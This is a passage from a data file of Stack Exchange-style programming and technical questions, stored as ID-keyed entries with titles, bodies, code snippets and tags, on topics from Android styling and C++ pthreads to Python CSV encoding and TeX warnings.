working with the background but not with the textColor?\nThanks,\n Tobias\n--- EDIT
FROM HERE ---\nI just found out that if I use my theme programmaticall like\n\nIt
works. But if I rely on the settings I have in my Manifest it doesn't.\n\nbut\n\
nwould do fine - even though the other styles from the AppTheme wouldn't be set.\
nSo it looks like using a theme that defines an own ActionBarStyle doesn't work.\
nHas anyone any idea?\n", " <style name=\"Widget.AppTheme.ActionBar\"
parent=\"Widget.Sherlock.Light.ActionBar\">\n <item
name=\"titleTextStyle\">@style/TextAppearance.AppTheme.Widget.ActionBar.Title</
item>\n <item name=\"android:gravity\">center</item>\n\n <item
name=\"android:background\">@color/white</item>\n <item
name=\"android:textColor\">@color/white</item>\n</style>\n", "android styles
actionbarsherlock textcolor"], "5109291": ["Commutative non Noetherian rings in
which all maximal ideals are finitely generated", "In commutative rings we have the
following\nTheorem. $R$ is Noetherian if and only if each prime ideal of $R$ is
finitely generated.\nFrom this Theorem I am looking for commutative rings $R$ in
which every maximal ideal is finitely generated but $R$ is non Noetherian.\
nQuestion: Is there a straightforward example of a commutative ring $R$ so that
each maximal ideal is finitely generated, but $R$ is non Noetherian?\nThank You\n",
"", "abstract-algebra commutative-algebra"], "3482563": ["How to access Custom
Attributes in Custom JavascriptConverter", "I am returning datetime values in my
model back to my UI using Json.\nI want to convert the datetime values while
sending it back to UI based on whether a custom attribute has been applied to my
datetime property in the model or not.\n\nsending data back to UI in the controller
\n\nI have written a custom javascriptconverter for DateTime fields which works
fine but is there any way I can access the custom Attribute \"ConvertDate\" for the
StartDate property in the custom Javascriptconverter? If not, then both my date
fields will get converted. I want to avoid that. Thanks. Also I have many entity
classes with datetime fields. So I can not hard-code the \"Test\" class type in the
supportedTypes property.\n", "public class Test\n{\n [ConvertDate]\n public
DateTime StartDate {get; set;}\n\n public DateTime EndDate {get; set;}\n}\n",
"json datetime javascriptserializer"], "3377064": ["ApplyLinearImpulse() working in
one direction only", "I am trying to use both b2PrismaticJoint and b2MouseJoint. I
need to move my projectile along x-axis to position it for target and want to only
swipe vertically without moving the projectile to throw it in that direction. I am
using ApplyLinearImpulse() but no matter in which direction i swipe it's direction
is always towards top-right. The code is: \n\n", "- (void)ccTouchesEnded:(NSSet
*)touches withEvent:(UIEvent *)event {\n\n\n UITouch *myTouch = [touches
anyObject];\n CGPoint location = [myTouch locationInView:[myTouch view]];\n
location = [[CCDirector sharedDirector] convertToGL:location];\n b2Vec2
locationWorld = b2Vec2(location.x/PTM_RATIO, location.y/PTM_RATIO);\n\n if
(_mouseJoint) { \n _world->DestroyJoint(_mouseJoint);\n
_mouseJoint = NULL;\n }\n if(_primJoint) {\n _world-
>DestroyJoint(_primJoint);\n _primJoint = NULL;\n } \n\n if (hit) {
\n _strikerBody->ApplyLinearImpulse(locationWorld, _strikerBody->GetPosition());
\n }\n}\n", "iphone ipad cocos2d box2d"], "111993": ["OS X Enclosing folder
shortcut?", "This may have been asked before, but I'm wondering whether there is a
shortcut for navigating to the enclosing folder in OS X (Snow Leopard)?\nI find
navigating Finder particularly frustrating since it's hard navigating back to the
enclosing folder (especially when you jump to a folder and realize the back button
is disabled)...\nI'm hoping for something other than Command+Up, since that's the
key combination I use to navigate Spaces.\n", "", "osx osx-snow-leopard keyboard-
shortcuts folder finder"], "2796941": ["how to read the body of the
HttpServletRequest where the request header content type is application/x-www-form-
urlencoded in java", "My contains the following information..\n\nNow, how to read
the body from the request and separate the body into key/value pairs? \n",
"HTTPServletRequest", "servlets"], "5059668": ["Can a free VPN collect personal
information?", "I was using a free VPN to access a Germany-only site and forgot I
left it on. Then I used my credit card to make online purchases; now I'm concerned
about whether who ever runs the free VPN knows my credit card number. Is it
possible even if I entered the card info into a https page?\nWin 7 64-bit.\nIE 8. \
n", "", "vpn"], "2398616": ["Reading from InputStream until double quotation
marks", "Need help reading from InputStream to a list of bytes until quotation
marks.\nThe problem is, InputStream reads bytes and I'm not sure how to stop it
reading when it reaches quotation marks ... I thought about something like this:\n\
nThe while condition is a problem, of course the quotation marks are while is
expected.\n", "public static List<Byte> getQuoted(InputStream in) throws
IOException {\n int c;\n LinkedList<Byte> myList = new LinkedList<>();\n
try {\n while ((in.read()) != \"\\\"\") { ?????\n list.add(c)\
n .....\n", "java byte inputstream quotes"], "1206137": ["c++ newbie - pthread
providing it's state to another pthread", "I am a newbie in c++ working on what
should be a pretty basic file read and then process data functionality and I keep
getting stuck on being able to at least provide a \"state\" of on thread to another
so that data could be consumed. This just maybe something really basic that I am
overlooking - could use some insight into using pthreads in c++.\nBellow is some
basic extracted code that functions OK, reads the file and provides data to be
processed. Another thread that will process the data needs to know the state of
this one.\nWhat would be the best strategy? I am attempting to request the state of
the thread through a function from another thread but receive incorrect response.\
n\n", "Reader::Reader(){\n\n _threadId = 1; \n _msg = NONE; // enum NONE,
READ, STOP\n active = false;\n pthread_mutex_init(&_mutex, 0);\n}\n\
nReader::~Reader(){\n\n pthread_mutex_destroy(&_mutex);\n}\n\nvoid
Reader::read(){\n\n _msg = READ;\n active = true;\n\n
pthread_create(&_threadId, 0, work, this);\n}\n\nvoid * Reader::work(void
*myselfreader){\n\n Reader * reader = (Reader*)myselfreader;\n\n reader-
>loop();\n\n pthread_exit(0);\n\n return 0;\n}\n\nvoid Reader::loop(){\n\n
while(active){\n\n pthread_mutex_lock(&_mutex);\n\n
switch(_msg){\n\n case READ:\n\n // do the
reading of the IO file - which works fine \n //
once done reading the file - the _msg is set to STOP\n\n break;\
n\n case STOP:\n\n stopThread();\n\n
break;\n\n\n default:\n break;\
n }\n\n pthread_mutex_unlock(&_mutex);\n }\n\n
return;\n}\n\nvoid Reader::stopThread(){\n\n active = false;\n\n _msg =
ENC_NONE;\n\n pthread_join(_threadId, 0);\n}\n\n/*****************/\n\nint
Reader::getReaderState(){\n\n // another thread needs to know the state of this
thread\n // \n return _msg // ??\n return active // ??\n}\n", "c++
pthreads"], "3908663": ["EC2 instances keep becoming inaccessible via SSH, what
could issue be? Can I use elastic loadbalancer to check SSH connectivity?", "This
is mainly an issue for my development ec2 server as it seems that my instance keeps
becoming inaccessible via SSH. It happened yesterday so I killed that one and
started a new one and happened again later today. The server still works, my web
application is accessible in a web browser but whenever I try to connect via SSH I
get a error message in my terminal. I am 100% sure I am doing nothing wrong as I
can create a new instance of the exact same AMI (its a personal custom AMI), change
absolutely nothing, including using the same , and then am able to SSH into that
new instance using the exact same command as before (just changing the IP
address).\nI understand that ec2 can have issues but having this happen every day
seems a bit odd.. I am using an instance so I don't know if these tend to be
unstable, in the past I have used a small instance and had it running for months
with no problems which is why I find this so odd.\nI am looking into using
loadbalancing but it seems the only \"health\" checks they offer is for http or tcp
so I'm not sure if
I can make it monitor for SSH connectivity. This is important for development as I
may make 1-2 new pushes of an application a day and use SSH to do this. I have a
designer that needs to have the app always accessible as he works with the front-
end files to test output with the live application. Anyways, any advice / info is
appreciated\n", "permission denied (private key)", "ssh amazon-ec2 cloud-computing
private-key"], "685225": ["how do i use everyauth for simple (single step)
authentication?", "how do i use everyauth to perform a very simple oauth
authentication with node.js if i have both the public and secret key? unlike a
multi-step facebook-type authentication, i just want to do use everyauth to make
simple authenticated REST calls.\nand is everyauth the right tool for the job?\n",
"", "node.js oauth express everyauth"], "5590881": ["handing lists of variable
names in bison/yacc", "I'm having trouble figuring out how to write a parser with
bison.\nIn order to insert variables into my symbol table so that I can do some
type-checking and other nonsense I need the variable name and type.\nI'm
particularly focusing on these lines:\n\nIf my grammar were like this:\n\nI could
just do something like:\n\nBut instead my grammar looks like this:\n\nSo I'm trying
to put each ID into a data structure (I already use a stack for the symbol table so
I figured I may as well use that) but I keep getting incompatibility errors about
the type of the $arguments and I'm not sure I'm even pushing everything I need
either:\n\nI get the error \"incompatible type for argument 2 of SPush, expected
void * not tokentype\". I get the same error when trying to insert things into my
symbol table as well.\nWhat's a good way to do this?\nThanks in advance for any
help.\n", "%union {tokentype token;\n char *type;\n sPtr names;
//stack pointer\n }\n<%token definitions>\n%token <token> ID ICONST\n%type
<type> stype type\n%type <names> IDlist\n\nvardcl : IDlist ':' type\n
;\n\nIDlist : IDlist ',' ID\n | ID\n ;\n\
ntype : ARRAY '[' integer_constant RANGE integer_constant ']' OF stype {
$$ = $8 }\n | stype { $$ = $1 }\n ;\n\nstype
: INT { $$ = \"INT\" }\n | BOOLEAN { $$ = \"BOOLEAN\" }\n
;\n", "c parsing attributes bison yacc"], "3456408": ["CSS 3 Transitions with
Opacity - Chrome and Firefox", "I've been playing around with CSS3 transitions to
fade in an overlay div when I came a cross an odd problem.\nBasically I have a div
element that has styles set on it's id - i.e. background-color: #000, opacity: 0,
etc. As well as the browser-specific transition styles. By default the overlay
element has a \"hiddenElement\" class on it, setting it's display to none. \nWhen
the overlay is to be displayed the hiddenElement class is removed, and another
class is added \"Initialised\", this class sets the elements opacity to 0.6. \nWhat
I expected to happen was for the element to be animated in smoothly, which does
happen in Opera, but in firefox and chrome it doesn't work exactly like that.\nI've
built an isolated case here: http://jsbin.com/obojet/27/. \nAs you can see when the
\"addClass('Initialised')\" is wrapped in a setTimeout(), even with a timeout of
0ms in chrome, it animates correctly. Just doing addClass outside a timeout, wont
do the animation. In firefox, the timeout has to be longer - 50ms. In opera it
just works.\nIt's probably down to the UI/Javascript contending for the single
thread, but I was just curious if anyone else had experience similar issues.\n",
"", "javascript css3 opacity transitions css-transitions"], "3536802": ["Using CDI
in JSF, Weld or Solder", "Hmm I starting with a jsf webapplication, will be using
CDI, but am a bit confused between Weld & Solder, or is it that Solder use's Weld
under the hood.\nAlso was Weld called WebBeans before ?\nLike incase of Apache
MyFaces it clear that the CDI implementation is CODI\n", "", "seam cdi jboss-weld
seam-solder"], "4764786": ["Get directory structure from zip with Perl", "How can I
get the directory structure of a zip file with perl using ?\nI've tried different
method combinations but with no success.\n", "Archive::Zip", "perl zip archive"],
"5064762": ["any WYSIWYG editor based on XULRunner and SWT.MOZILLA
concept,JAVAXPCOM", "Is there any open source WYSIWYG based on XULRunner,JavaXPCom
and Mozilla browser which run on top of eclipse as eclipse plug-in\n", "", "eclipse
eclipse-plugin xul mozilla xulrunner"], "4624071": ["Centering text field in
Titanium Mobile", "How do I center a text field in Titanium? Here's the text field
code:\n\n", "var textfield1 = Titanium.UI.createTextField({\n color:'#006',\n
backgroundColor:'#fff',\n height:50,\n top:'auto',\n left:'auto',\n
width:300,\n borderStyle:Titanium.UI.INPUT_BORDERSTYLE_ROUNDED\n\n\n});\n",
"javascript textfield center titanium-mobile"], "4374926": ["How to design an
ASP.NET Framework in VS 2010 TFS", "I have a rather loaded question regarding a
library/framework my company uses to build websites from that I hope I can convey
without too much trouble. \nPresent Situation:\nCurrently, we have a solution in
VS 2010 that has a Web Project, \"Framework_Web\", which currently contains all the
web pages in the application as well as other stuff like images folder, web.config.
The web project includes pages that should be shared across all applications and
pages specific to the application. We also have a class library
project, \"Framework_Library\" that contains all the framework code that should be
shared across applications. It produces an assembly \"Framework_Library\" and uses
the namespace \"Framework_Library\".\nWhen a developer wants to create a new
application AppY, we used to copy the solution from a previously built application
AppX (yes I know, really stupid) and modify it as need be for AppY. \nQuestion:\
nThe question I have is, how do I create a new application AppY, such that AppX and
AppY are able to have thier own webpages and web.config, yet share the core
framework (web pages, class library). \nCurrent Roadmap:\nSo now that we are using
VS 2010 Team Foundation Studio, we want to create a Base Framework Solution as a
TFS Team Project (e.g. \"Base_Framework\") that contains all the webpages, etc. for
the core of the framework as a web project. Also, I want to include
the \"Framework_Library\" into this solution. Then for each application (e.g.
AppX) we can create a new Team Project. This would allow us to manage the core
framework web pages & code seperate from each of the applications that utilize it.
Sharing the \"Framework_Library\" class library between applications is trivial
because it's packaged as an assembly. But, I'm not sure how to share the web
project?\n", "", "asp.net visual-studio-2010 web-applications visual-studio-team-
system"], "4822331": ["HTML -- data-content-field", "I noticed on a website that
within a h1, they had a so the code was\n\nIs there any need in the data-content-
field? I've personally never used it before. I've heard that it can be good for SEO
and Google's bots when it comes to indexing websites. \nI've seen them been used on
other tags as well as the site title.\nWould it hurt my site if I were to add /
remove it (especially for SEO).\nThanks!\n", "data-content-field", "html seo"],
"5211670": ["JQuery can't focus on form fields if Cufon is loaded", "I've got the
following site: http://www.peterandbethany.com/\nThere is a simple jQuery line that
should set focus on a particular field. When I use Cufon, it simply won't set the
focus.\nIf I disable Cufon or disable stylesheets (in Firefox, View->Page Style->No
Style), it works.\nNone of the following approaches via jQuery work:\n\nAny ideas
on how I can make this work?\nThank you!\n", "$('#name').focus();\n\n$
(\"input[type='text']:first\").focus()\n\n$
(\"input:text:visible:enabled:first\").focus();\n\n$('#name').trigger('focus');\n",
"jquery forms focus cufon"], "6003950": ["Looking For A Reputable And Reliable
Windows Registry Search and Replace Tool", "I need to be able to search for
registry data referencing my old profile and change it to my new profile. Using
regedit works but is obviously slow as there is no replace, only search.\nAny
recommendations for a reliable tool (VIsta and XP) would be appreciated.\n", "",
"windows registry"], "4442173": ["error with function pointers usage in C", "\
nPlease help me fix the errors, I am sure I am making some obvious mistakes.
Thanks.\n", "#include <stdio.h>\n#include <string.h>\n\nvoid func1 (void) { printf(
\"1\\n\" ); }\nvoid func0 (void) { printf( \"0\\n\" ); }\n\ntypedef struct {\n
void (*func0)(void);\n void (*func1)(void);\n}mainJT;\n\nstatic const mainJT
coreJT = {\n core_func0,\n core_func1\n};\n\nmainJT currJT;\n\nint main()\n{\n
currJT=coreJT;\n coreJT.core_func0();\n getchar();\n return 0;\n}\n",
"function pointers"], "3460414": ["C++ Service Error While Starting : Could not
Start the Service on Local Compueter", "I have created a Win32 Service using C++
and installed to the Services Successfully.\nNow While I try Starting the service
from Services.msc , I am getting the Error:\nCould not start the Service on Local
Computer . Error 2: The system can not find the File specified.\nHere is the code
snippet I am defining in the Service Entry Point:\n\nI have taken this code sample
from codeproject.\n", "#include \"stdafx.h\"\n#include \"iostream\"\
n#include \"Windows.h\"\n#include \"Winsvc.h\"\n#include \"time.h\"\n\n\
nSERVICE_STATUS m_ServiceStatus;\nSERVICE_STATUS_HANDLE m_ServiceStatusHandle;\
nBOOL bRunning=true;\nvoid WINAPI ServiceMain(DWORD argc, LPTSTR *argv);\nvoid
WINAPI ServiceCtrlHandler(DWORD Opcode);\nBOOL InstallService();\nBOOL
DeleteService();\nvoid main(int
argc, char* argv[])\n{\n\n if(argc>1)\n {\n if(strcmp(argv[1],\"-i\")==0)\n
{\n if(InstallService())\n printf(\"\\n\\nService Installed
Sucessfully\\n\");\n else\n printf(\"\\n\\nError Installing Service\\
n\");\n }\n else if(strcmp(argv[1],\"-u\")==0)\n {\n
if(DeleteService())\n printf(\"\\n\\nService UnInstalled Sucessfully\\n\");\
n else\n printf(\"\\n\\nError UnInstalling Service\\n\");\n }\n
else\n {\n printf(\"\\n\\nUnknown Switch Usage\\n\\nFor Install use
WindowService -i\\n\\nFor UnInstall use WindowService -u\\n\");\n }\n }\n
else\n {\n SERVICE_TABLE_ENTRY DispatchTable[]=\n
{{\"myService\",ServiceMain},{NULL,NULL}};\n
StartServiceCtrlDispatcher(DispatchTable);\n }\n // DeleteService();\n //return
0;\n}\n\nvoid WINAPI ServiceMain(DWORD argc, LPTSTR *argv)\n{\n DWORD status;\n
DWORD specificError;\n m_ServiceStatus.dwServiceType = SERVICE_WIN32;\n
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;\n
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;\n
m_ServiceStatus.dwWin32ExitCode = 0;\n m_ServiceStatus.dwServiceSpecificExitCode =
0;\n m_ServiceStatus.dwCheckPoint = 0;\n m_ServiceStatus.dwWaitHint = 0;\n\n
m_ServiceStatusHandle = RegisterServiceCtrlHandler(\"myService\", \n
ServiceCtrlHandler); \n if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)\n
{\n return;\n }\n m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;\n
m_ServiceStatus.dwCheckPoint = 0;\n m_ServiceStatus.dwWaitHint = 0;\n if (!
SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus))\n {\n }\
nsystem(\"start c:\\\\progra~1\\\\intern~1\\\\iexplore.exe
http://www.google.com\");\n //strcat(\"Win1\", \"1.exe\");\n /*bRunning=true;\n
while(bRunning)\n {\n //Sleep(3000);\n //Place Your Code for processing
here....\n //printf(\"\\nThe Service is Running Now...\\n\");\n\n\n }*/\n
return;\n}\n\nvoid WINAPI ServiceCtrlHandler(DWORD Opcode)\n{\n switch(Opcode)\n
{\n case SERVICE_CONTROL_PAUSE: \n m_ServiceStatus.dwCurrentState =
SERVICE_PAUSED;\n break;\n case SERVICE_CONTROL_CONTINUE:\n
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;\n break;\n case
SERVICE_CONTROL_STOP:\n m_ServiceStatus.dwWin32ExitCode = 0;\n
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;\n
m_ServiceStatus.dwCheckPoint = 0;\n m_ServiceStatus.dwWaitHint = 0;\n\n
SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);\n bRunning=false;\n
break;\n case SERVICE_CONTROL_INTERROGATE:\n break; \n }\n return;\n}\n\
nBOOL InstallService()\n{\n char strDir[1024];\n HANDLE schSCManager,schService;\
n GetCurrentDirectory(1024,strDir);\n strcat(strDir,\"\\\\Debug\\\\
WindowService.exe\"); \n schSCManager =
OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);\n\n if (schSCManager == NULL) \n
return false;\n LPCTSTR lpszBinaryPathName=strDir;\n\n schService =
CreateService(schSCManager,\"myService\", \n \"my_Service\", // service name
to display\n\n SERVICE_ALL_ACCESS, // desired access \n\n
SERVICE_WIN32_OWN_PROCESS, // service type \n\n SERVICE_DEMAND_START, // start
type \n\n SERVICE_ERROR_NORMAL, // error control type \n\n
lpszBinaryPathName, // service's binary \n\n NULL, // no load ordering group \
n\n NULL, // no tag identifier \n\n NULL, // no dependencies\n\n
NULL, // LocalSystem account\n\n NULL); // no password\n\n\n if (schService ==
NULL)\n return false; \n\n CloseServiceHandle(schService);\n return true;\n}\
n\nBOOL DeleteService()\n{\n HANDLE schSCManager;\n SC_HANDLE hService;\n
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);\n\n if
(schSCManager == NULL)\n return false;\n
hService=OpenService(schSCManager,\"myService\",SERVICE_ALL_ACCESS);\n if
(hService == NULL)\n return false;\n if(DeleteService(hService)==0)\n return
false;\n if(CloseServiceHandle(hService)==0)\n return false;\n\nreturn true;\
n}\n", "c++ windows visual-c++ service windowservice"], "4225574": ["Dynamically
created dojo components don't get CSS style applied", "I have a html file where I
instance a new Javascript object. It that code I dynamically create some dojo
components. I have the CSS style included in the HTML file. But the components
doen't get the correct look. Am I missing something? \nHere is some of my code: \
nCreation of a component: \n\nHTML head: \n\n", " var buttonToolbar = new
dijit.Toolbar({}); \n buttonToolbar.addChild(\n new
dijit.form.Button({\n label: \"1x1 layout\",\n onClick:
function() { mv.createLayout(1, 1);},\n iconClass: \"myIcon1\",\n
class: \"dhButton\"\n })\n );\n", "javascript html css dojo"], "4117406":
["Issue: Jersey umarshalls parameter QueryParam/PathParam as null", "I am not able
to pass my own object through with Jersey. It is always null. I have method like
this:\n\nWhen I try to pass the MyObject, it's always null. The parameter offset is
passed correctly.\nClient side in JavaScript for illustration:\n\nI thought that it
might be a problem with jQuery, so I tried to change the parameter to some nonsence
and I got 400 (Bad Request). I also checked the body of the request and it seemed
alright.\nBut when I change the method to look like this:\n\nAnd the client script
accordingly:\n\nThe MyObject is obtained correctly.\nI tried to use GET method with
the same results.\nIs it possible that it's a bug in Jersey or am I missing
something?\n", "@FormParam", "java jersey"], "2782176": ["(PHP) Sending mail with
php's Mail function adds new lines every 990 characters. How to workaround", "I
have the following problem:\nUsing the PHP mail() function i send mails around.\
nBut every so often the damn sendmail adds newlines to the message (Content-type:
text/html; charset=utf-8).\nReading
http://proquest.safaribooksonline.com/1565928393/ch20-77125 i figured out that this
L= parameter is not set in sendmail. But i have no access to the mail server.\nIs
there a way ( By setting mail headers or something ) to skip the adding of these
new line characters in the body of the mail )\nThanks in advance\n", "", "php
email"], "5096090": ["Python: A resilient, actually working CSV implementation for
non-ascii?", "[Update] Appreciate the answers and input all around, but working
code would be most welcome. If you can supply code that can read the sample files
you are king (or queen).\n[Update 2] Thanks for the excellent answers and
discussion. What I need to do with these is to read them in, parse them, and save
parts of them in Django model instances. I believe that means converting them from
their native encoding to unicode so Django can deal with them, right?\nThere are
several questions on Stackoverflow already on the subject of non-ascii python CSV
reading, but the solutions shown there and in the python documentation don't work
with the input files I'm trying.\nThe gist of the solution seems to be to
encode('utf-8') the input to the CSV reader and unicode(item, 'utf-8') the output
of the reader. However, this runs into UnicodeDecodeError issues (see above
questions):\n\nThe input file is not necessarily in utf8; it can be ISO-8859-1,
cp1251, or just about anything else. \nSo, the question: what's a resilient, cross-
encoding capable way to read CSV files in Python? \nThe root of the issue seems to
be that the CSV module is a C extension; is there a pure-python CSV reading
module?\nIf not, is there a way to confidently detect the encoding of the input
file so that it can be processed?\nBasically I'm looking for a bullet proof way to
read (and hopefully write) CSV files in any encoding.\nHere are two sample files:
European, Russian.\nAnd here's the recommended solution failing:\n\n",
"UnicodeDecodeError: 'utf8' codec can't decode byte 0xa3 in position 8: unexpected\
n", "python unicode encoding"], "935699": ["How to shut down or reboot a machine?
[on different OSes]", "What parameters do the \"shutdown\" command [or other
command?] NEED, TO BE SURE that the machine reboots or shuts down for SURE?\ne.x.:
version for Linux: \n\ne.x.: version for AIX: \n\ne.x.: version for SunOS: \n\
ne.x.: version for HP-UX: \n\nPlease share experiences also with shutdown/reboot
[command didn't worked, because machine was unreachable, because it got \"stuck\"
somewhere when trying to reboot - I mean not after rebooting, \"before\" the
machine get's rebooted...so that why can it stuck in the start/middle of reboot the
process ]\n", "# cat /etc/SuSE-release\nSUSE Linux Enterprise Server 10 (x86_64)\
nVERSION = 10\nPATCHLEVEL = 4\n", "linux solaris aix shutdown hp-ux"], "5590883":
["Parent call to Control.DrawToBitmap does not seem to respect clipping region set
in child control", "I have created a UserControl which simply defines a new
GraphicsPath and sets that to be the Region of the control. Its primary use is to
act as a backdrop for other controls so typically the only thing set on it is
BackColor. When I call DrawToBitmap on the control's parent, the child control is
drawn as a rectangle rather than getting clipped to region I expected. Am I missing
something here?\nStandard use of the control does not exhibit this problem. \nAlso,
I need to be able to draw this control to an image while it is not currently shown
on screen. I have seen some workarounds would could have worked had I not had this
additional requirement.\n", "", "c# .net winforms gdi+"], "4225575": ["How can I
stop TeX from bleating about an underfull \\hbox?", "I have a paragraph that
contains an underfull . (It's loaded with huge proper nouns that don't hyphenate
easily.) It's not going to be fixed (badness is only 1330), but I'd like to get
TeX to stop bleating about it, so that I can get closer to
a clean run. I tried setting but evidently that's not the right incantation. \
nHow can I explain to TeX that an underfull with badness 1330 is OK?\n", "\\hbox",
"line-breaking warnings"], "1850195": ["Confused: Role of Beans in JSF2 in
comparison to classical MVC Controllers", "i have a question that is more design
and architecture related. I am coming from a classical MVC based background and
have to get my hands dirty on JSF2. I read the IBM articles on JSF2
(http://www.ibm.com/developerworks/library/j-jsf1/) and think i understand the
overall concept.\nI started to get in touch with JSF2 trough ROO. I have the
feeling that ROO (maybe this is true for any JSF2-Type App, or maybe not) is making
very strange/unclear use of beans. It is in general really not clear to me what the
actual role of a Bean is! For example, if i have a view with a form that is for
editing a single user-entry, i would initialize the user in a, lets call it
UserBean (maybe store in in a member variable) and access this variable trough
getters. If i now want to overview all users, i would again render the view in in
the UserBean hold a collection of users and again access this collection trough
getters. The previous description is actually the way i would do things with jsf.
This means i would user the UserBean more as a statefull-service as a controller. \
nIn a typical controller situation i would create for every type of action (list
user, edit user, view user, etc) a separate controller, with specific initialized
data and this way i would separated the context of the logic by controllers. \nI
often make use of context specific services, e.g. if i handle user's often an
spread over the application, i create a user-service that handles user specific
logic that is maybe to complex to be put into the itself. If i now for example look
into roo generated Beans, i would find methods that programatically render forms,
input fields, labels, that again store list's of users, boolean fields that
indicate if data had already been loaded, single user members and a lot of methods
that more look like to be put into a UserService (or whatever). I am wondering if
this is the way JSF2 is intended to be used, in words: pushing everything that is
related to one context into on bean, not making use of service and writing \"super-
controller-beans\" that handle everything.\nI don't really know if you get the
question right, but what would maybe help me is, a hint to \n\na very exemplary and
commendable example application that makes use of beans the way they where intended
to be used in combination with jsf2 features and usecases that for example
implement basic CRUD usecases around a given type of entity. (One big confusing
point is, that in my case ROO always makes use of AJAX and javascript stuff like
Modal-Dialogs to implement CRUD logic. I wonder if with JSF there is a more
classical way to to this?[With 'classical' i mean for example URL-Based views and
separated views for listing, editing and viewing entities])\na resource that
enlightens typical \"thats-the-way-the-good-guys-do-it\" JSF-Patterns (maybe this
is J2EE Patterns?).\n\nThanks you so much!\nPlease feel free the push me to
concretize specific points if i am not clear!\n", "", "java mvc jsf-2 javabeans
spring-roo"], "5183606": ["How to change the database - Schema used by Entity
Framework (mysql database)?", "I use EntityFramework in a project to connect to a
Mysql database. The provider is Devart Dot.connect.\nThis application needs to
connect to a database using connexion parameters given by the user at runtime. This
includes of course the Mysql Database name.\nI used the
EntityConnectionStringBuiler and EntityConnection classes to build-up and store the
custom connexion parameters. \nThe problem is that even with such given parameters,
the application always connect to the database named when designing the EntityModel
using the visual studio wizard.\nWhat is very strange is that when debuging and
checking the status of the ObjectContext, the custom connexion parameters are
correctly used... \nIt makes me mad !!!!!\nAny clue ?\n", "", "c# mysql database
entity-framework connection"], "1840717": ["Issue with Codeplex ADUI Object Picker
after build", "I'm trying to use the Active Directory Object Picker from Codeplex
to open the users & groups dialog box.\nIt is working great if running during debug
mode from VS2010, but when running the release of the solution, after 2 or 3 times
opening the dialog box, it opens but non of the buttons are responding to clicks
(you can see they are pressed but don't activate anything). Nothing at all. its not
stuck. its just not responding to any of the clicks on any button. the only way to
close it is to kill the process from task manager.\nI've created and running the
solution on a Win7 x64 machine using C# VS2010.\nThe build is Any CPU.\n\n",
"DirectoryObjectPickerDialog picker = new DirectoryObjectPickerDialog();\
npicker.AllowedObjectTypes = ObjectTypes.Computers;\npicker.DefaultObjectTypes =
ObjectTypes.Computers;\npicker.AllowedLocations = Locations.GlobalCatalog;\
npicker.DefaultLocations = Locations.GlobalCatalog;\npicker.MultiSelect = true;\
nDialogResult dialogResult = picker.ShowDialog();\nif (dialogResult ==
DialogResult.OK)\n{\n DirectoryObject[] results;\n results =
picker.SelectedObjects;\n if (results == null)\n return;\n\n for (int
i = 0; i <= results.Length - 1; i++)\n {\n ListViewItem theItem = new
ListViewItem(results[i].Name);\n LvServersNames.Items.Add(theItem);\n }\
n\n LblTotalServers.Text = \"Server(s) : \" + results.Length.ToString();\n}\n\
npicker.Dispose();\npicker = null;\n", "c# winforms active-directory"], "5624076":
["KendoUI Grid errors in Internet Explorer", "Im receiving a weird error that is
only occurring in my web application in internet explorer (v9.0.8). It occurs when
I try to instantiate a grid more than once on a div.\n(I know this is a weird
situation but Im doing it for a reason and it is easier to simplify the problem by
just saying the error occurs when setting up the grid more than once)\nI have
recreated the problem in jfiddle here. You will see that the grid loads up fine to
start with. But when you click the \"Click me\" button the grid is setup again and
if you check the console window it has an error saying \"SCRIPT65535: Invalid
calling object \nkendo.all.min.js, line 8 character 73742\".\nIt has something to
do with the datasource because if you try this version where I have removed the
datasource from the grid it no longer errors.\nCan anyone provide any guidance on
why this error is occurring?\nThanks\nMore Information..\nThe reason that I perform
this task is because it is a single page application. So as I move to another page
I am dynamically paging the content on the screen. When I return back to the
listing page I must call the setup listing to refresh the grid. I have added
another jfiddle to show this example here. When you click on the \"Click Here to
Refresh HTML\" it resets the html in the div and than sets up the grid. If you look
in IE's console you see a SCRIPT5022: DOM Exception: NOT_FOUND_ERR (8) error.\n",
"", "asp.net asp.net-mvc html5 telerik kendo-ui"], "4726613": ["Can you add the
close, minimize and maximise buttons to the gnome panel?", "I saw a post on a forum
mention an app or applet you could use to add the close, minimize and maximise
buttons to the gnome panel (similar to the global menu, but for window controls).
However, I can't find any more information online - can't find an app, an applet or
anything else. Does anyone know if this actually exists and, if it does, where I
could find it?\n", "", "ubuntu gnome gnome-panel"], "1764421": ["Why is implicit
conversion allowed from superclass to subclass?", "Can someone tell me why the line
with \"//Compiles\" compiles, and why the line with \"//Doesn't Compile\" does
not?\nI don't understand why A would be implicitly convertible to B, not the other
way round. \n\nthanks!\n", "public class SomeClass {\n\n static public void Test()
{\n AClass a = new AClass();\n BClass b = new BClass();\n\n a = b; // Compiles\n
b = a; // Doesn't compile\n }\n}\n\npublic class AClass {\n public void AMethod() {
\n Console.WriteLine(\"AMethod\");\n }\n}\n\npublic class BClass : AClass { \n
public void BMethod() {\n Console.WriteLine(\"BMethod\");\n }\n}\n", "c# .net
inheritance type-conversion implicit-cast"], "4151116": ["Active Server Pages error
'ASP 0126' classic asp pls help", "our company have a a old classic asp
application, we have no choice but to host it. I just moved it to another server.
It was perfectly running fine in old server but in this new server it's
continuously giving this error. I am running windows 2003 server with IIS 6. Why I
am geting this error ? please help.\nActive Server Pages error 'ASP 0126'\n\n",
"Include file not found\n\n/application/unprocessed_application.asp, line 56\n\nThe
include file '../../_fplclass/pdblib.inc' was not found. \n", "iis6 asp-classic"],
"5237412": ["Webkit transform plane in 3d disappears, doesn't seem like a back face
issue. (Chrome)", "Check this fiddle in Chrome:
http://jsfiddle.net/resistdesign/Qvv2r/11/\nThe plane disappears for a few seconds.
